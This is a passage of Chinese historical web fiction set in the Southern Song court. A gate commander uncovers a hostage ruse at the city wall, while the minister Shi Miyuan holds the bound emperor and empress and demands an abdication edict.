二则这杨次山手握兵马,再加上杨次山的两个儿子兵败扯谎,史弥远已经十分信不过这父子三人了,索性将他杨次山的兵马,夹在自己皇宫内和皇宫外两队兵马中间,到时他杨次山就算玩什么花样,只要看到自己的处境,也会乖乖地待在原地不敢造次。
“:杨指挥使大人,门外来了一队人马,说是史相传唤,您要不要出去看看?”只听城门守将传报躺在太师椅上的杨次山道。
杨次山听了,也不睁眼,就这样懒洋洋的躺在太师椅上回答道“:他史弥远调动兵马,干我等何干?由他去吧。”
“;大人,门外来的,可不是几百人,而是上千人,个个兵器盔甲森然,好多瞅着面生,您还是出去看看吧。”那守将有些不确定地说道。
杨次山听了,懒洋洋得从太师椅上站起了身“:走,领本指挥去看看。”
语毕,杨次山在守将的带领下,来到了城门楼垛口前,将头伸出去
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,聚精会神得扫了一圈城下那队兵马。
哪知这一看不要紧,杨次山冷汗立马下来了。为何?原来这杨次山可不像是别的木头桩子兵,只要见了史施德就会放行。至于他史施德的处境,压根不会深究。
但这杨次山可不同,他可是身在局内,和各方势力都有利益相连,正所谓一荣俱荣一损俱损,所以很多事情,他杨次山却不能一带而过。没办法,性命相关,所以很多细节都会激起他的反应。
只见杨次山小心翼翼的对着下边史施德询问道“:呦!史家公子,怎的不把守你那北门,却来本指挥使这里闲逛?”
史施德表面看似无拘无束,暗中王焕君正用短匕指着后脊梁骨呢。此时听了杨次山言语,心里是哑巴吃黄连,有苦说不出。只见他一脸憋屈的回道“:杨叔叔,我爹有令,招我前去。”
杨次山听了这史施德这含糊其辞的回答,心里愈加不安。又见了史施德那一脸苦逼相,知道自己猜的**不离十,立马正色厉声对着宋宇等人言道“:好啊!你等到底是什么人?竟敢挟持史家公子,来赚本指挥使城门?“
言罢,大声对着旁边兵丁命令道”:众将士听令,**伺候,一旦对方反抗,万箭齐发。“
两旁**手得了命令,立马将大宋神臂**摆到了垛口,只等杨次山下令,便要万**齐发。
宋宇见此,正要抬头说两句,却听史施德骂开了“:好你个杨次山,你个王八蛋,弄这些个**手,想把本公子也射成刺猬吗?”
皇城外宋宇再次被人识破了。皇城内史弥远正在苦口婆心的劝解宁宗和杨皇后。
只见宁宗和杨皇后被兵丁押在垂拱殿皇座上五花大绑,全然没了皇家的威严。
史弥远则皮笑肉不笑得对着两人劝说“;皇上,快写传位诏书吧,不然一会过了吉时就不美了。“
宁宗此时眼圈乌黑,咳嗽连连,听了史弥远这些话,登时气的是七窍生烟“;史弥远,你个乱臣贼子,朕自认待你不薄,处处对你忍让,想不到你最终还是选择了这条路,你就不怕后世之人对你口诛笔伐吗?“
史弥远听了宁宗言语,哈哈大笑“:你这老糊涂虫,你之所以对本相言听计从,那是本相砸**韩侂胄,得了金人得外援,跟你有个屁的关系?想本相这一路走来,哪得过你什么恩惠?全都是本相努力的结果。
其实,你也是倒霉,本相原来没打算这么早动手,本意是打算等你这老糊涂虫老**以后,在矫诏篡立,不过啊,人算不如天算,你那养子赵竑,处处与本相做对,前些日子,更是在襄阳将本相的异母兄弟史嵩之手脚砍去,做成了猪狗模样。本相若是再不动手,到时让他赵竑小儿平安回到临安,那本相以后还有好日子过?所以啊,要怪就怪你那锋芒毕露得养子赵竑,是他不识天数,硬要以卵击石。这才连累你这老糊涂虫少活了几年,少享几年清福啊...”